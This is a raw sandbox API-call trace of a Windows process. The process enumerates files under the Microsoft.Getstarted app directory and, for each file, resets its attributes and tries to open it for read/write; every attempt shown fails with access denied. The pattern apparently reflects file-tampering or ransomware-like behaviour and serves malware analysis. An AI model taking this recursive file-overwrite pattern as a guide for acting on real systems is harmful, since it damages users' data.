	[0091.833] wcscpy (in: _Dest=0x2e11fc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US"
	[0091.833] wcscat (in: _Dest=0x2e11fc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\"
	[0091.833] wcscat (in: _Dest=0x2e11fc0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\*"
	[0091.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50300a0
	[0091.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\*", lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2f47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4a8
	[0091.836] wcscmp (_String1=".", _String2=".") returned 0
	[0091.836] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2f47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.836] wcscmp (_String1="..", _String2=".") returned 1
	[0091.837] wcscmp (_String1="..", _String2="..") returned 0
	[0091.837] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f9658ba, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_use.xml", cAlternateFileName="")) returned 1
	[0091.837] wcscmp (_String1="doc_offline_use.xml", _String2=".") returned 1
	[0091.837] wcscmp (_String1="doc_offline_use.xml", _String2="..") returned 1
	[0091.837] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491c6c0
	[0091.837] wcscpy (in: _Dest=0x491c6c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US"
	[0091.837] wcscat (in: _Dest=0x491c6c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\"
	[0091.837] wcscat (in: _Dest=0x491c6c0, _Source="doc_offline_use.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml"
	[0091.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\doc_offline_use.xml")) returned 0x20
	[0091.837] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml", dwFileAttributes=0x20) returned 0
	[0091.838] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\doc_offline_use.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.838] GetLastError () returned 0x5
	[0091.838] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml", dwFileAttributes=0x20) returned 0
	[0091.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c6c0) returned 1
	[0091.838] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f9658ba, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_wifi.xml", cAlternateFileName="")) returned 1
	[0091.838] wcscmp (_String1="doc_offline_wifi.xml", _String2=".") returned 1
	[0091.838] wcscmp (_String1="doc_offline_wifi.xml", _String2="..") returned 1
	[0091.838] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776f60
	[0091.838] wcscpy (in: _Dest=0x4776f60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US"
	[0091.838] wcscat (in: _Dest=0x4776f60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\"
	[0091.838] wcscat (in: _Dest=0x4776f60, _Source="doc_offline_wifi.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml"
	[0091.838] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\doc_offline_wifi.xml")) returned 0x20
	[0091.838] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml", dwFileAttributes=0x20) returned 0
	[0091.838] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\doc_offline_wifi.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.838] GetLastError () returned 0x5
	[0091.838] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml", dwFileAttributes=0x20) returned 0
	[0091.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776f60) returned 1
	[0091.839] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f9658ba, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x389, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 1
	[0091.839] wcscmp (_String1="toc.xml", _String2=".") returned 1
	[0091.839] wcscmp (_String1="toc.xml", _String2="..") returned 1
	[0091.839] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0091.839] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US"
	[0091.839] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\"
	[0091.839] wcscat (in: _Dest=0x477eb90, _Source="toc.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml"
	[0091.839] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\toc.xml")) returned 0x20
	[0091.839] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.839] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\toc.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.839] GetLastError () returned 0x5
	[0091.839] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.839] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.839] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f9658ba, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x389, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 0
	[0091.839] FindClose (in: hFindFile=0x477b4a8 | out: hFindFile=0x477b4a8) returned 1
	[0091.839] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50300a0) returned 1
	[0091.839] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11fc0) returned 1
	[0091.839] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717990) returned 1
	[0091.839] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2f47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0091.839] FindClose (in: hFindFile=0x477b328 | out: hFindFile=0x477b328) returned 1
	[0091.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50313e0) returned 1
	[0091.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926328) returned 1
	[0091.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.840] FindNextFileW (in: hFindFile=0x2d880b8, lpFindFileData=0x47452d0 | out: lpFindFileData=0x47452d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c3363, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0091.840] wcscmp (_String1="images", _String2=".") returned 1
	[0091.840] wcscmp (_String1="images", _String2="..") returned 1
	[0091.840] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2ca20
	[0091.840] wcscpy (in: _Dest=0x4f2ca20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content"
	[0091.840] wcscat (in: _Dest=0x4f2ca20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\"
	[0091.840] wcscat (in: _Dest=0x4f2ca20, _Source="images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images"
	[0091.840] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.840] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images"
	[0091.840] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\"
	[0091.840] wcscat (in: _Dest=0x4926008, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\*"
	[0091.840] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030308
	[0091.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\*", lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c3363, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0091.840] wcscmp (_String1=".", _String2=".") returned 0
	[0091.840] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c3363, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.840] wcscmp (_String1="..", _String2=".") returned 1
	[0091.840] wcscmp (_String1="..", _String2="..") returned 0
	[0091.840] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c39d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0091.840] wcscmp (_String1="en-US", _String2=".") returned 1
	[0091.840] wcscmp (_String1="en-US", _String2="..") returned 1
	[0091.840] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718d10
	[0091.841] wcscpy (in: _Dest=0x4718d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images"
	[0091.841] wcscat (in: _Dest=0x4718d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\"
	[0091.841] wcscat (in: _Dest=0x4718d10, _Source="en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US"
	[0091.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47180e0
	[0091.841] wcscpy (in: _Dest=0x47180e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US"
	[0091.841] wcscat (in: _Dest=0x47180e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\"
	[0091.841] wcscat (in: _Dest=0x47180e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\*"
	[0091.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50300a0
	[0091.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\*", lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c39d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b328
	[0091.841] wcscmp (_String1=".", _String2=".") returned 0
	[0091.841] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c39d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.841] wcscmp (_String1="..", _String2=".") returned 1
	[0091.841] wcscmp (_String1="..", _String2="..") returned 0
	[0091.841] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f9658ba, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png", cAlternateFileName="")) returned 1
	[0091.841] wcscmp (_String1="windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png", _String2=".") returned 1
	[0091.841] wcscmp (_String1="windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png", _String2="..") returned 1
	[0091.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebca00
	[0091.841] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US"
	[0091.841] wcscat (in: _Dest=0x4ebca00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\"
	[0091.841] wcscat (in: _Dest=0x4ebca00, _Source="windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png"
	[0091.841] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\images\\en-us\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png")) returned 0x20
	[0091.842] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png", dwFileAttributes=0x20) returned 0
